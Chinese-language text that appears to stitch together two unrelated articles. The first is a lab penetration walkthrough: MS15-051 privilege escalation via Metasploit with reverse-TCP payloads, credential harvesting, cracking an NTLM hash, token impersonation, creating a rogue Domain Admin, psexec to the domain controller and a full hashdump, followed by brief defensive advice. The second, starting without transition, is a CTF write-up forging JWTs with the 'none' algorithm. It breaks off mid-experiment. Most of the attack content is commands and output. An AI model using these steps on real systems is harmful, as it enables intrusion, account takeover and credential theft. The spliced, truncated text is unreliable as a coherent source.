现在我们主要关注的是,即使我们能够在当前用户“testuser1”的上下文中读取和写入文件,我们也希望能获得对该机器的特权访问,即我们希望获得管理员权限。
为此,我们可以分析系统上已经安装的安全修补程序,查找是否存在未修补的权限提升漏洞。通过这样的做法,我们可以切换到Windows命令行的shell并使用“wmic”实用程序:

meterpreter > shell
Process 1880 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>wmic qfe list 
wmic qfe list
Caption                                        CSName     Description  FixComments  HotFixID  InstallDate  InstalledBy              InstalledOn  Name  ServicePackInEffect  Status  
http://go.microsoft.com/fwlink/?LinkId=161784  WIN7SP164  Update                    KB971033               NT AUTHORITY\SYSTEM      9/1/2016                                        
http://support.microsoft.com/?kbid=976902      WIN7SP164  Update                    KB976902               win7sp164\Administrator  11/21/2010
C:\Windows\system32>^C
Terminate channel 1? [y/N]  y
meterpreter > background 
[*] Backgrounding session 1...

输出结果清楚地表明,在该公司中,Windows系统管理员并不经常性的更新客户端工作站。

例如,我们发现缺少MS15-051漏洞的KB补丁编号,因此我们可以利用这个漏洞。此漏洞影响了Windows内核模式驱动程序可以导致RCE,因此可以执行本地权限提升,即我们可以将使用“testuser1”的权限运行的meterpreter的会话权限提升为NT AUTHORITY\SYSTEM

msf exploit(java_storeimagearray) > use exploit/windows/local/ms15_051_client_copy_image 
msf exploit(ms15_051_client_copy_image) > info
       Name: Windows ClientCopyImage Win32k Exploit
     Module: exploit/windows/local/ms15_051_client_copy_image
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-05-12
Provided by:
  Unknown
  hfirefox
  OJ Reeves
  Spencer McIntyre
Available targets:
  Id  Name
  --  ----
  0   Windows x86
  1   Windows x64
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
Payload information:
  Space: 4096
Description:
  This module exploits improper object handling in the win32k.sys 
  kernel mode driver. This module has been tested on vulnerable builds 
  of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.
References:
  http://cvedetails.com/cve/2015-1701/
  http://technet.microsoft.com/en-us/security/bulletin/MS15-051
  https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
  https://github.com/hfiref0x/CVE-2015-1701
  https://technet.microsoft.com/library/security/MS15-051

要运行此模块,我们只需要设置要运行模块的会话和有效载荷类型:

msf exploit(ms15_051_client_copy_image) > set session 1 
session => 1
msf exploit(ms15_051_client_copy_image) > set target 1
target => 1
msf exploit(ms15_051_client_copy_image) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ms15_051_client_copy_image) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(ms15_051_client_copy_image) > show options 
Module options (exploit/windows/local/ms15_051_client_copy_image):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.10     yes       The listen address
   LPORT     4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   1   Windows x64
msf exploit(ms15_051_client_copy_image) > exploit
[*] Started reverse TCP handler on 192.168.1.10:4444 
[*] Launching notepad to host the exploit...
[+] Process 2856 launched.
[*] Reflectively injecting the exploit DLL into 2856...
[*] Injecting exploit into 2856...
[*] Exploit injected. Injecting payload into 2856...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (1189423 bytes) to 192.168.1.208
[*] Meterpreter session 2 opened (192.168.1.10:4444 -> 192.168.1.208:49164) at 2016-11-16 20:45:29 +0200

新创建的会话具有SYSTEM权限:

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > background 
[*] Backgrounding session 2...
msf exploit(ms15_051_client_copy_image) > sessions -l
Active sessions
===============
  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x64/win64  NET\testuser1 @ WIN7SP164        192.168.1.10:443 -> 192.168.1.208:49326 (192.168.1.208)
  2   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ WIN7SP164  192.168.1.10:4444 -> 192.168.1.208:49327 (192.168.1.208)

这意味着现在我们可以完全控制受感染的系统,例如可以访问本地存储的凭据:

msf exploit(ms15_051_client_copy_image) > use post/windows/gather/credentials/credential_collector 
msf post(credential_collector) > info
       Name: Windows Gather Credential Collector
     Module: post/windows/gather/credentials/credential_collector
   Platform: Windows
       Arch: 
       Rank: Normal
Provided by:
  tebo <[email protected]>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
Description:
  This module harvests credentials found on the host and stores them 
  in the database.
msf post(credential_collector) > set session 2
session => 2
msf post(credential_collector) > exploit 
[*] Running module against WIN7SP164
[+] Collecting hashes...
    Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef
    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: test:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
[+] Collecting tokens...
    NET\testuser1
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    NT AUTHORITY\ANONYMOUS LOGON
    [*] Post module execution completed

此模块将收集的凭据存储在Metasploit数据库中,因此可以使用简单的命令显示它们:

msf post(credential_collector) > creds
Credentials
===========
host           origin         service        public         private                                                            realm  private_type
----           ------         -------        ------         -------                                                            -----  ------------
192.168.1.208  192.168.1.208  445/tcp (smb)  Administrator  aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef         NTLM hash
192.168.1.208  192.168.1.208  445/tcp (smb)  Guest          aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0         NTLM hash
192.168.1.208  192.168.1.208  445/tcp (smb)  test           aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c         NTLM hash

NTLM哈希破解

通过分析收集的凭证,我们找到以下字段:用户名和由冒号分隔的两个字符串这两个代表该用户的加密密码。
使用散列算法存储Windows凭据:散列的第一部分表示LAN ManagerLM)散列。默认情况下,从Windows VistaWindows Server 2008开始禁用LM身份验证协议,因为它确实不安全这就是为什么字符串“aad3b435b51404eeaad3b435b51404ee”代表一个空值(记住我们控制的是Windows 7的主机)。
第二部分代表NT LAN ManagerNTLM)哈希:NTLMLM协议的升级版本,但它仍然容易受到密码破解攻击。这就是我们可以使用密码破解工具John The Ripper的原因 在字典攻击模式下查找相应的明文密码。

由于NTLM散列函数是已知的,因此可以预先为给定的单词计算相应的散列而且它是对称的加密,所以我们在单词和散列之间有一对一的对应关系。因此,可以将f定义为散列函数,将x定义为纯文本密码,那么y = f(x)就可以返回计算的散列值。

字典攻击的工作方式很简单:假设我们有一个带有单词列表的文件(这就是为什么这些文件可以在“wordlists”的名称下找到)对于每个单词,我们生成其相应的NTLM哈希,然后我们将它与我们想要破解的哈希进行比较。一旦找到匹配的那个,我们就确定已经找到了密码。

选择字典攻击而不是暴力攻击总是一个不错的主意,因为人们通常会将常用的词设置为他们的密码,在这种情况下,我们可以非常快速地完成我们的任务。

我们对Administrator帐户感兴趣,因此我们首先将其详细信息(即用户名和相应的NTLM哈希)保存在文本文件中:

[email protected]:~# cat hashes.txt 
Administrator:5835048ce94ad0564e29a924a03510ef

然后我们可以通过指定哈希格式和我们想要用来破解哈希的字典文件来启动破解工具(默认情况下,Kali Linux中的/usr/share/wordlists文件夹里包含了“rockyou”字典 ):

[email protected]:~# john --format=NT --wordlist=/root/dictionary/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
password1        (Administrator)
1g 0:00:00:00 DONE (2016-09-03 23:09) 25.00g/s 900.0p/s 900.0c/s 900.0C/s tigger..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed

JTR已成功找到管理员帐户的密码:“password1”。考虑到攻击者可能会遇到的最坏的情况,我们假设本地管理员密码在属于该域的每个客户端主机上都是不同的。

令牌假冒

在这种情况下,有不同的方式继续渗透例如,我们可以使用称为令牌窃取令牌模仿的技术来进行下一步的攻击。
Windows中,每次用户尝试登录时,系统都会通过将用户密码与存储在安全数据库中的密码进行匹配来验证用户的密码是否正确:这称为身份验证过程。当该过程成功时,系统将生成访问令牌。令牌可以被视为临时密钥,因此在该用户的上下文中执行的每个进程都不需要再次输入密码就可以使用用户的权限运行:这些称为委托令牌并且它们在系统上持续存在直到下次重新启动。实际上,用户注销不会使令牌失效,但令牌本身将被作为模拟令牌而不是委托令牌。

如果用户连接到受感染的计算机,则可能会窃取其相关的令牌。可以使用一款名叫IncognitoMetasploit扩展来执行此任务。
看一下之前使用的“credential_collector”模块的输出,我们看到有关令牌的一些信息。现在,假设Domain Admin在受控计算机上登录,我们就可以从Incognito扩展的list_tokens命令返回的结果中看到该用户的委托令牌:

msf exploit(credential_collector) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > load incognito 
Loading extension incognito...success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
NET\boss
NET\testuser1
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

出现了“boss”用户的委托令牌,如之前列举的那样,是个域管理员。我们可以尝试模拟该令牌来获取用户权限:

meterpreter > impersonate_token
Usage: impersonate_token <token>
Instructs the meterpreter thread to impersonate the specified token. All other actions will then be made in the context of that token.
Hint: Double backslash DOMAIN\\name (meterpreter quirk)
Hint: Enclose with quotation marks if name contains a space
meterpreter > impersonate_token NET\\boss
[+] Delegation token available
[+] Successfully impersonated user NET\boss

返回了模拟成功的消息。切换到Windows shell,我们可以检查一下我们当前的用户信息:

meterpreter > shell
Process 888 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>whoami
whoami
net\boss

模仿令牌获取到的管理员权限可以让我们随意执行任何操作例如,我们可以添加新用户到AD上:

C:\Windows\system32>net user evilboss password123 /add /domain
net user evilboss password123 /add /domain
The request will be processed at a domain controller for domain net.testlab.
The command completed successfully.

特别要说明的是,我们可以为刚创建的用户“evilboss”提供域管理员权限:

C:\Windows\system32>net group "Domain Admins" evilboss /add /domain
net group "Domain Admins" evilboss /add /domain
The request will be processed at a domain controller for domain net.testlab.
The command completed successfully.

现在我们拥有自己的Domain Admin用户,通过该用户,我们可以对注册到域的每台计算机拥有管理访问权限。也就是说,域控制器存储了所有域用户的NTLM哈希值。要登录DC,我们可以使用“psexec”模块:

C:\Windows\system32>^C
Terminate channel 1? [y/N]  y
meterpreter > background 
[*] Backgrounding session 2...
msf exploit(credential_collector) > use exploit/windows/smb/psexec
msf exploit(psexec) > info
       Name: Microsoft Windows Authenticated User Code Execution
     Module: exploit/windows/smb/psexec
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 1999-01-01
Provided by:
  hdm <[email protected]>
  Royce Davis <[email protected]>
  RageLtMan <[email protected]>
Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   PowerShell
  2   Native upload
  3   MOF upload
Basic options:
  Name                  Current Setting  Required  Description
  ----                  ---------------  --------  -----------
  RHOST                                  yes       The target address
  RPORT                 445              yes       The SMB service port
  SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
  SERVICE_DISPLAY_NAME                   no        The service display name
  SERVICE_NAME                           no        The service name
  SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain             .                no        The Windows domain to use for authentication
  SMBPass                                no        The password for the specified username
  SMBUser                                no        The username to authenticate as
Payload information:
  Space: 3072
Description:
  This module uses a valid administrator username and password (or 
  password hash) to execute an arbitrary payload. This module is 
  similar to the "psexec" utility provided by SysInternals. This 
  module is now able to clean up after itself. The service created by 
  this tool uses a randomly chosen name and description.
References:
  http://cvedetails.com/cve/1999-0504/
  http://www.osvdb.org/3106
  http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
  http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access
  http://sourceforge.net/projects/smbexec/

此模块将域名称,有效的管理员用户名和密码(无论是纯文本还是散列均可)和我们要登录的目标主机作为输入参数。它会连接到目标计算机上指定的Samba共享。

msf exploit(psexec) > set target 1
target => 1
msf exploit(psexec) > set rhost 192.168.1.200
rhost => 192.168.1.200
msf exploit(psexec) > set SMBDomain NET
SMBDomain => NET
msf exploit(psexec) > set SMBUser evilboss
SMBUser => evilboss
msf exploit(psexec) > set SMBPass password123
SMBPass => password123
msf exploit(psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf exploit(psexec) > set lport 4445
lport => 4445
msf exploit(psexec) > exploit -j
[*] Started reverse TCP handler on 192.168.1.10:4445 
[*] 192.168.1.200:445 - Connecting to the server...
[*] 192.168.1.200:445 - Authenticating to 192.168.1.200:445|NET as user 'evilboss'...
[*] 192.168.1.200:445 - Executing the payload...
[+] 192.168.1.200:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957999 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.10:4445 -> 192.168.1.200:49245) at 2016-11-16 20:58:18 +0200
msf exploit(psexec) > sessions -l
Active sessions
===============
  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x64/win64  NET\testuser1 @ WIN7SP164        192.168.1.10:443 -> 192.168.1.208:49163 (192.168.1.208)
  2   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ WIN7SP164  192.168.1.10:4444 -> 192.168.1.208:49164 (192.168.1.208)
  4   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ DC         192.168.1.10:4445 -> 192.168.1.200:49388 (192.168.1.200)
meterpreter > sysinfo 
Computer        : DC
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : en_US
Domain          : NET
Logged On Users : 5
Meterpreter     : x64/win64

最后,我们可以转储存储在域控制器上的所有凭据:

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4b08728132d41e230b4ee268c5b42acb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:43a6a9669d444da03408e368b8daf0c1:::
DC:1001:aad3b435b51404eeaad3b435b51404ee:4b08728132d41e230b4ee268c5b42acb:::
boss:1108:aad3b435b51404eeaad3b435b51404ee:c1fc37edabedb382c5141e88ce614b11:::
testuser2:1109:aad3b435b51404eeaad3b435b51404ee:f984c0e85e62faef91f6ad49fb9f8554:::
testuser1:1110:aad3b435b51404eeaad3b435b51404ee:b4c295164ce915935084495caf7f9cfa:::
evilboss:1119:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:a2807c6834bac0c8599530a02aa169af:::
WIN7SP0$:1107:aad3b435b51404eeaad3b435b51404ee:77b40b8cb3d6c4547ab3442ff3a34683:::
WIN7SP1$:1115:aad3b435b51404eeaad3b435b51404ee:b31785870dd8c4df04ff8f48dd0b9728:::
WINXPSP2$:1116:aad3b435b51404eeaad3b435b51404ee:61083f3aff10e03cc6ece1b04c9a76f1:::
WIN7SP164$:1117:aad3b435b51404eeaad3b435b51404ee:031b3d01c20cb5f1ad6cceb4bccbd0ca:::

与我们对本地管理员的密码所做的破解方法类似,我们可以使用JTR来破解这个NTLM哈希值。

防御

本文的测试过程说明了保持系统打了最新补丁的重要性通过这样的做法,不仅要注意操作系统的安全补丁,还要关注已经安装的软件。

参考本文的模拟攻击方案,下面列出了保护系统所要做的一些操作:

· Java更新到发布的最新版本,可以修复CVE-2013-2465和其他与Java相关的漏洞;

· 安装微软安全修补程序KB3057191修复MS15-051漏洞。

关于基于令牌的Microsoft Windows访问控制模型,你需要记住的是这是Windows处理身份验证的方式,因此不能将其视为漏洞。这意味着为了保护内网环境,对策应更多地涉及流程和程序。这就是为何要遵循安全最佳实践的重要原因这里有一个安全规则列表,它可以降低与令牌模拟攻击相关的风险等级:

· 限制域管理员帐户的数量

· 拥有Domain Admin帐户的用户必须使用其非特权帐户按照标准来使用;

· 在人员的权限范围内创建具有访问限制的管理员组(例如,开发,测试和生产组),可以限制可能的数据泄露风险。

参考

https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication

当你打开题目链接后,你会看到以下内容:

可以在web题目的网站上找到相关说明:http://159.203.178.9/

在浏览器中打开此链接,你可以看到一个看起来很正常的HTML页面:

image.png

从页面上可以看出有个可以存储笔记的路径,某个笔记中包含了flag。页面的标题表明这道题目与RPC有关。

这让我想起我去年完成的一个CTF题目,我认为flag可能被隐藏在一个非80端口上。所以,我执行了一个基本的nmap端口扫描:

nmap -sT 159.203.178.9 -p1-65535

只打开了8022端口。

我尝试了一些我一开始所想到的路径,比如/xmlrpc.php/notes/rpc等等,发现这些路径都不存在,于是我决定使用字典暴力猜解。

我使用了dirsearchJason Haddix整理的字典content_discovery_all.txt

python3 dirsearch.py -u http://159.203.178.9/ -t 50 -w content_discovery_all.txt -e 'php,'

扫描了几分钟后,我得到两个结果!

· /README.html

· /rpc.php

让我们看一下这些路径的含义。

深层发掘

README页面的标题是“Notes RPC Documentation”。页面内容如下

此服务提供了一种安全存储笔记的方法。它会让他们能够在以后检索它们。该服务将返回与笔记相关联的随机密钥。一旦密钥被销毁,就无法检索笔记。RPC接口通过该/rpc.php文件公开。可以通过参数调用调用method。每个笔记都存储在一个安全文件中,该文件由唯一的key,笔记和创建笔记时的epoch组成。

可以通过HTTP标头Authorization对服务进行身份验证。当提供有效的JWT时,该服务将对用户进行身份验证,并允许查询元数据,搜索笔记,创建新笔记以及删除所有笔记。

该服务需要有效的JWTJSON Web令牌)才能执行身份验证。我们可以在服务中执行以下操作:

· 查询所有笔记的元数据

· 检索笔记

· 创建一个新笔记

· 删除所有笔记

这里没什么好看的。在标题为版本控制的页面中,提到了以下内容:

该服务正在不断优化。可以在请求的Accept头中提供版本号。目前,仅支持application/notes.api.v1+json

似乎没有任何理由明确声明只允许使用v1。这看起来有点奇怪。但是现在我需要先搞清楚API的工作原理。

createNote()

我尝试使用cURL创建一个笔记:

curl 'http://159.203.178.9/rpc.php?method=createNote' 
    -H 'Content-Type: application/json' 
    -H 'Authorization: eiOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak' 
    -H 'Accept: application/notes.api.v1+json' 
    -d '{"note": "This is my note"}'

得到以下响应:

{"url":"\/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6"}

正如预期的那样,由于文档已经声明如果没有指定id,将会选择使用16位的随机字符作为id”。如果我们指定了一个任意的ID会发生什么?

curl 'http://159.203.178.9/rpc.php?method=createNote' 
    -H 'Content-Type: application/json' 
    -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak' 
    -H 'Accept: application/notes.api.v1+json' 
    -d '{"id":"test", "note": "This is my note"}'

下面是服务器的响应:

{"url":"\/rpc.php?method=getNote&id=test"}

我们可以将笔记ID设置为任意ID

getNote()

如果你尝试使用getNote()方法访问相同的笔记会发生什么呢

curl 'http://159.203.178.9/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6' 
    -H 'Content-Type: application/json' 
    -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak' 
    -H 'Accept: application/notes.api.v1+json'

下面是服务器的响应:

{"note":"This is my note","epoch":"1530279830"}

很好。但这个epoch参数的值代表了什么意思呢?看起来像是创建笔记的时间戳。使用date -r快速检查了之后确认它就是时间戳。

getNotesMetadata()

我们现在尝试获取笔记的元数据:

curl 'http://159.203.178.9/rpc.php?method=getNotesMetadata' 
    -H 'Content-Type: application/json' 
    -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak' 
    -H 'Accept: application/notes.api.v1+json'

得到以下响应:

{"count":1,"epochs":["1530279830"]}

看起来count参数应该是笔记的数量,epochs是一个已存在的笔记的创建时间的列表。

让我们尝试创建一些新的笔记,看看会发生什么。我重复请求了几次createNote(),然后检查了元数据:

{"count":4,"epochs":["1530279830","1530281119","1530281120","1530281121"]}

正如我所预料到的,计数增加了。epochs的顺序似乎非常简单。最新的元素会被添加到列表的末尾。

让我们尝试重置笔记:

curl 'http://159.203.178.9/rpc.php?method=resetNotes' 
    -H 'Content-Type: application/json' 
    -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak' 
    -H 'Accept: application/notes.api.v1+json' 
    -d '{"note": "This is my note"}'

得到以下响应:

{"reset": true}

没有什么花哨的东西。为了确认这一点,我检查了元数据,果然,我创建的所有笔记现在都消失了。

通过上面的一系列操作,我们已经了解了服务中的所有方法,现在该做些什么呢?让我们看看我们是否可以以某种方式发现其中的漏洞。

我尝试更改Content-Type,完全删除Authorization标头,修改请求内容或者重放请求并保持HTTP头的长度正确。但没有任何作用响应是{"authorization":"is invalid"}{"authorization":"is missing"}。看来这里搞不出什么东西。

再次挖掘

我打开了Burp并测试了常用的发现异常的各种方法,但我找不到任何异常或奇怪的东西。虽然应用程序本身非常简单,但我可能已经错过了很多有用的东西。我在大学期间做过的一些在线寻宝的事情给了我灵感,我检查了README.html的源码并通过Ctrl + F'd查找了'<!–'看看是否有任何隐藏的注释信息。哈!我找到了。

image.png

这是一段注释信息,在页面中是看不见的。我应该早点看到这个的,不过现在找到了也总比没有好。这表明,我对API版本的猜测是正确的,确实有一些与API v2不一样的地方。v2使用了“优化的文件格式,在保存之前会根据唯一key对笔记进行排序”。我google了一下,看看能否找到这样的文件格式。在我的搜索结果中,我发现了Amazon RedShift:

Amazon Redshift根据排序的key以排序顺序将你的数据存储在磁盘上。

我后来意识到这条路走错了。为什么不直接调用API v2呢?

我按照与以前相同的过程,执行了以下步骤:

· 创建一个笔记时在url中指定作为id参数值。

· 获取文本的内容时指定note(文本内容)和epoch(时间戳)参数值。

· 获取笔记的元数据时服务器返回了响应内容。

· 重置笔记,将所有内容重置为初始状态。

一切似乎与v1是相同的。但是上面的注释信息已经提到v2使用了一些花哨的排序方式 – 让我们现在试验一下。在文档中,它说该方法“ 在保存之前会根据唯一key对笔记进行排序”。好吧,每个笔记都有两个参数 – – 笔记的ID(我们可以任意指定)和笔记内容。这里的唯一key就是笔记ID,这也是合乎逻辑的。让我们尝试用随机的ID创建更多的笔记,看看我们是否能有一些新的发现。

但这个事情是很机械的手工活儿,我讨厌一遍又一遍地重复相同的事情。我是自动化的忠实粉丝,用脚本可以做得更好。所以我使用awesome请求库和内置的json库快速编写了一个Python脚本。

代码如下:

#!/usr/bin/env python3

import json
import requests as rq
from base64 import b64decode


def rpc(method, data=None, post=False):
    headers = {
        'Authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak',
        'Content-Type': 'application/json',
        'Accept': 'application/notes.api.v1+json',
    }

    url = 'http://159.203.178.9/rpc.php?method={}'.format(method)

    if data:
        data = json.dumps(data)
        if post:
            # POST with params
            headers['Content-Length'] = str(len(data))
            return rq.post(url, headers=headers, data=data)
        else:
            # GET with params
            return rq.get(url, params=json.loads(data), headers=headers)
    elif post:
        # POST without params
        return rq.post(url, headers=headers)

    # GET request without params
    return rq.get(url, headers=headers)


def get_note(ident):
    r = rpc('getNote', data={'id': ident})
    print(r.text)
    if r.status_code == 200:
        return r.json()['note']


def epochs():
    r = rpc('getNotesMetadata')
    if r.status_code == 200:
        return r.json()['epochs']
    return None


def reset():
    r = rpc('resetNotes', post=True)
    if r.status_code == 200:
        return r.json()['reset']
    return None


def create(ident, note='a'):
    r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
    if r.status_code == 400:
        return False
    elif r.status_code == 201:
        return True
    return None

这是API函数的封装实现。现在,我们可以更轻松地与RPC轻松交互:

· create(id) 将创建具有指定ID的笔记。

· epochs() 会给你一个时间列表

· reset() 将重置笔记并恢复到初始状态。

现在让我们从我们刚才卡壳的地方开始使用随机ID创建笔记。让我们尝试使用字母表作为ID键来创建一些笔记:

def main():
    reset()
    for i in 'abcdefghijklmnopqrstuvwxyz':
        create(i)
        print(epochs())
        sleep(1)

if __name__ == '__main__':
    main()

响应看起来像下面这样:

['1530286994']    
['1530286994', '1530286996']    
['1530286994', '1530286996', '1530286998']    
['1530286994', '1530286996', '1530286998', '1530287000']    
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002']    
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002', '1530287004']    
... so on ...

很明显,最新创建的笔记会添加在列表的末尾。我用其他的随机字符串和数字继续创建了一些笔记。但我没有任何其他的想法。

我思考过应用程序是如何被设计出来的。其他人显然也在搞这个CTF挑战题目,但我只能创建与我的会话相关的笔记。

如果用户身份验证基于的是某些HTTP标头,那么我可能会尝试通过发送欺骗性的请求来绕过这一点。我试图从HostX-Forwarded-Host这些HTTP头中入手,但无济于事。经过一些尝试,我得出一个结论,服务端可能用了基于IP的身份验证。

我觉得是时候回头想想,看看我是否错过了一些重要的东西(我通常这样做不断的反思之前的工作)。我再次阅读了文档,这次看的更加仔细。关于JWT的部分引起了我的注意。我之前没有探索过这里。

JWT

那么什么是JWT?直接从jwt.io(感谢Auth0创建了这个优秀的网站)可以找到下面的内容:

JSON Web TokenJWT)是一个开放标准(RFC 7519),它定义了一种紧凑且独立的方式,可以在各方之间作为JSON对象安全地传输信息。此信息可以通过数字签名进行验证和信任。JWT可以使用密钥(使用HMAC算法)或使用RSAECDSA的公钥/私钥对进行签名。

来自维基百科

JWT通常有三个部分:标头,有效载荷和签名。标头标识用于生成签名的算法,看起来像下面这样:

header = '{"alg":"HS256","typ":"JWT"}'

让我们执行之前的操作,获取我们的JWT授权标头。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJpZCI6Mn0.
t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak

这是我们的JWT(为了可读性我换行分割了)。第一部分是标头,第二部分是有效载荷,第三部分是签名。

签名计算如下:

key           = 'secretkey' 
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload) 
signature     = HMAC-SHA256(key, unsignedToken)

现在我们知道标头和有效载荷是base64编码的,我们可以很容易地得到实际的文本值:

$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | base64 -D {"typ":"JWT","alg":"HS256"}

继续解码剩余文本。

$ echo 'eyJpZCI6Mn0=' | base64 -D {"id":2}

你可以注意到,那里有一个ID!我猜测它可能是用户ID并且应该不存在安全问题。之前的操作,我们一直是在创建/查看/重置ID 2这个用户的笔记。

(请注意,我将=字符添加到了上面的base64字符串的末尾。虽然根据RFC 7515,填充操作在JWT中是可选的,但在解码时,你需要填充“=”字符来正确解码。)

我们可以使用jwt.io提供的漂亮的调试器来完成编码和解码。

image.png

jwt.io上的JWT调试器

我们可以尝试将ID更改为其他内容。尝试id = 1是非常有意义的。

但是有一个问题。服务器会验证签名。我们需要用签名对我们的有效载荷{"id": 2}加签。为此,我们需要创建签名的密钥,但我们并不知道。

在某些情况下,肯定可以破解那些用弱密钥签名的JWT。我花了一些时间来爆破JWT。但爆破无果。所以我开始寻找与JWT相关的漏洞。

有趣的是,我发现了一种叫做none的算法。它可以用于已经验证了令牌完整性的情况。这个算法和HS256是唯一必须实现的两种算法。

如果服务器的JWT在实现中将none算法签名的令牌视为已经经过验证的签名的有效令牌,那么我们就可以使用任意的有效载荷来创建我们自己的签名令牌。

创建这样的令牌非常简单:

· 将标头的HS256更改为{"alg": “none"}

· 将有效载荷更改为{"id": 1}

· 签名使用空字符''

让我们使用可用的JWT获取密文(我使用PyJWT):

In [1]: import jwt 
In [2]: encoded = jwt.encode({"id": 1}, '', algorithm='none') 
In [3]: encoded 
Out[3]: 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.'

现在我们有了JWT,我们可以在用户id 1的会话下创建笔记了我们需要做的就是将Authorization标头更改为这个新的JWT

我还是像之前一样使用小写字母进行了测试,并且与之前的情况一样。服务器不断将新笔记的epoch 添加到列表的末尾。如果我尝试使用大写字母会怎么样呢?

['1528911533']  # Initial state
['1530295850', '1528911533'] # After inserting note with id = 'A'
['1530295850', '1530295852', '1528911533'] # B
['1530295850', '1530295852', '1530295854', '1528911533'] # C
